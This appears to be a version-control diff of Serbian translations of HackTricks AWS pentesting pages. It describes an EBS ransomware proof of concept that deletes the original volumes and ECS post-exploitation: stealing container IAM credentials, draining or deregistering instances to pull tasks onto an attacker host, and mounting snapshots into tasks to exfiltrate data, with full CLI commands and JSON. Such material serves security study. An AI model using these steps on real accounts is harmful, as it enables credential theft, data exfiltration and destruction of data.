Ovo je python skripta koja je korišćena. Prima AWS creds za 'victim' nalog i javno dostupnu AWS ARN vrednost za ključ koji će se koristiti za enkripciju. Skripta će napraviti enkriptovane kopije SVIH dostupnih EBS volumena prikačenih na SVE EC2 instance u ciljanom AWS nalogu, potom zaustaviti svaku EC2 instancu, odvojiti originalne EBS volumene, obrisati ih i na kraju obrisati sve snapshots korišćene tokom procesa. Ovo će ostaviti samo enkriptovane EBS volumene u ciljanom 'victim' nalogu. KORISTITE OVU SKRIPTU SAMO U TEST OKRUŽENJU, ONA JE DESTRUKTIVNA I OBRISAĆE SVE ORIGINALNE EBS VOLUME. Možete ih povratiti koristeći korišćeni KMS key i vratiti ih u prvobitno stanje preko snapshots-a, ali samo želim da vas upozorim da je ovo na kraju dana ransomware PoC.
```
import boto3
import argparse
@@ -581,8 +618,10 @@ delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
```
## Reference
## Izvori
- [Latacora - ECS on EC2: Pokrivanje praznina u IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)
- [Pentest Partners Kako preneti fajlove u AWS koristeći SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -10,35 +10,35 @@ Za više informacija pogledajte:
../../aws-services/aws-ecs-enum.md
{{#endref}}
### Host IAM uloge
### Host IAM Roles
U ECS-u se **IAM role može dodeliti task-u** koji se izvršava unutar container-a. **Ako** se task pokreće unutar **EC2** instance, **EC2 instance** će imati **drugu IAM** rolu prikačenu na nju.\
To znači da ako uspete da **compromise** ECS instancu, potencijalno možete **dobiti IAM role povezane sa ECR i sa EC2 instancom**. Za više informacija o tome kako doći do tih credential-a pogledajte:
U ECS-u **IAM role može biti dodeljena task-u** koji se izvršava unutar containera. **Ako** task radi unutar **EC2** instance, **EC2 instance** će imati pridruženu **drugu IAM** rolu.\
Što znači da ako uspete da **kompromitujete** ECS instance potencijalno možete **dobiti IAM rolu povezanu sa ECR-om i EC2 instancom**. Za više informacija o tome kako da dobijete te kredencijale pogledajte:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
> [!CAUTION]
> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
> IMDSv2 sa hop limitom 1 **ne** blokira awsvpc ili host-networked tasks—samo Docker bridge tasks sede dovoljno daleko da odgovori nestanu. Pogledajte [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) za kompletan tok napada i napomene o bypass-ovanju. Nedavno [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) pokazuje da awsvpc i host taskovi i dalje preuzimaju host kredencijale čak i kada je IMDSv2+h=1 primenjen.
### Privesc na node da se ukradu kredencijali i tajne drugih container-a
### Privesc to node to steal other containers creds & secrets
Pored toga, EC2 koristi docker za pokretanje ECS task-ova, tako da ako uspete da escape-ujete na node ili **access the docker socket**, možete **proveriti** koji se **drugi container-i** pokreću, pa čak i **ući u njih** i **ukrasti njihove IAM role** koje su prikačene.
Pored toga, EC2 koristi docker za pokretanje ECS taskova, pa ako možete da pobegnete na node ili **pristupite docker socket-u**, možete **proveriti** koji se **drugi containeri** pokreću, pa čak i **ući u njih** i **ukrasti njihove IAM role**.
#### Pokretanje container-a na trenutnom host-u
#### Making containers run in current host
Dodatno, **EC2 instance role** obično ima dovoljno **permissions** da **update-uje container instance state** EC2 instanci koje se koriste kao nodes unutar klastera. Napadač bi mogao izmeniti **state of an instance to DRAINING**, tada će ECS **ukloniti sve task-ove sa nje**, a oni koji se izvršavaju kao **REPLICA** biće **pokrenuti na drugoj instanci,** potencijalno unutar **attacker-ove instance**, tako da može **ukrasti njihove IAM role** i eventualno osetljive informacije iz unutar container-a.
Pored toga, **EC2 instance role** obično ima dovoljno **dozvola** da **ažurira stanje container instance** EC2 instanci koje se koriste kao nodovi u klasteru. Napadač bi mogao promeniti **stanje instance na DRAINING**, nakon čega će ECS **ukloniti sve taskove sa nje**, a oni koji se izvršavaju kao **REPLICA** biće **pokrenuti u drugoj instanci,** potencijalno unutar **napadačeve instance**, tako da on može **ukrasti njihove IAM role** i eventualno osetljive informacije iz containera.
```bash
aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
```
Ista tehnika se može izvesti tako što ćete **odjaviti EC2 instancu iz clustera**. Ovo je potencijalno manje prikriveno, ali će to **naterati zadatke da se izvrše na drugim instancama:**
Ista tehnika se može izvesti tako što ćete **deregister the EC2 instance from the cluster**. Ovo je potencijalno manje stealthy, ali će to **force the tasks to be run in other instances:**
```bash
aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force
```
Poslednja tehnika za primoravanje ponovnog izvršavanja tasks je da se ECS-u naznači da je **task or container was stopped**. Postoje 3 potencijalna API-ja da se to uradi:
Poslednja tehnika za prisiljavanje ponovnog izvršavanja tasks je da se ECS-u naznači da je **task ili container zaustavljen**. Postoje 3 potencijalna APIs za to:
```bash
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
@@ -50,36 +50,36 @@ aws ecs submit-container-state-change ...
# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...
```
### Ukradi osetljive informacije iz ECR kontejnera
### Ukradite osetljive informacije iz ECR kontejnera
Instanca EC2 verovatno takođe ima dozvolu `ecr:GetAuthorizationToken` koja joj omogućava **preuzimanje image-a** (u njima možete tražiti osetljive informacije).
EC2 instance će verovatno takođe imati dozvolu `ecr:GetAuthorizationToken` koja omogućava da **download images** (možete pretražiti osetljive informacije u njima).
### Montirajte EBS snapshot direktno u ECS task (configuredAtLaunch + volumeConfigurations)
Iskoristite native ECS EBS integraciju (2024+) da montirate sadržaj postojećeg EBS snapshot-a direktno u novi ECS task/service i pročitate njegove podatke iz kontejnera.
Iskoristite native ECS EBS integraciju (2024+) da montirate sadržaj postojećeg EBS snapshot-a direktno unutar novog ECS task/service i pročitate njegove podatke iz kontejnera.
- Potrebno (najmanje):
- ecs:RegisterTaskDefinition
- Jedno od: ecs:RunTask ILI ecs:CreateService/ecs:UpdateService
- Jedno od: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
- iam:PassRole na:
- ECS infrastructure role koji se koristi za volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
- Task execution/Task roles koje task definition referencira
- Ako je snapshot enkriptovan CMK-om: KMS dozvole za infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).
- ECS infrastructure role korišćenu za volume-e (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
- Task execution/Task roles referencirane u task definition
- Ako je snapshot enkriptovan CMK-om: KMS permisije za infra rolu (AWS managed policy gore uključuje potrebne KMS grantove za AWS managed keys).
- Uticaj: Čitanje proizvoljnog sadržaja diska iz snapshot-a (npr. database files) unutar kontejnera i exfiltrate putem mreže/logova.
- Uticaj: Čitanje proizvoljnog sadržaja diska iz snapshot-a (npr. baze podataka) unutar kontejnera i eksfiltracija preko mreže/logova.
Koraci (Fargate primer):
Koraci (primer za Fargate):
1) Kreirajte ECS infrastructure role (ako ne postoji) i prikačite managed policy:
1) Kreirajte ECS infrastructure role (ako ne postoji) i pridružite managed policy:
```bash
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
```
2) Registrujte task definition sa volume-om označenim kao `configuredAtLaunch` i montirajte ga u container. Primer (ispiše secret, zatim spava):
2) Registrujte task definition sa volume označenim `configuredAtLaunch` i mount-ujte ga u container. Primer (ispisuje secret pa spava):
```json
{
"family": "ht-ebs-read",
@@ -99,7 +99,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
```
3) Kreirajte ili ažurirajte servis prosleđivanjem EBS snapshot-a putem `volumeConfigurations.managedEBSVolume` (zahteva iam:PassRole na infra roli). Primer:
3) Kreirajte ili ažurirajte servis prosleđivanjem EBS snapshot-a preko `volumeConfigurations.managedEBSVolume` (zahteva iam:PassRole na infra roli). Primer:
```json
{
"cluster": "ht-ecs-ebs",
@@ -113,7 +113,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
]
}
```
4) Kada se task pokrene, container može da pročita sadržaj snapshot-a na konfigurisanoj mount putanji (npr. `/loot`). Exfiltrate putem mreže/logova task-a.
4) Kada se task pokrene, kontejner može da pročita sadržaj snapshot-a na konfigurisanoj putanji montiranja (npr. `/loot`). Exfiltrate putem mreže ili logova taska.
Čišćenje:
```bash
@@ -121,4 +121,8 @@ aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read
```
## Reference
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
{{#include ../../../../banners/hacktricks-training.md}}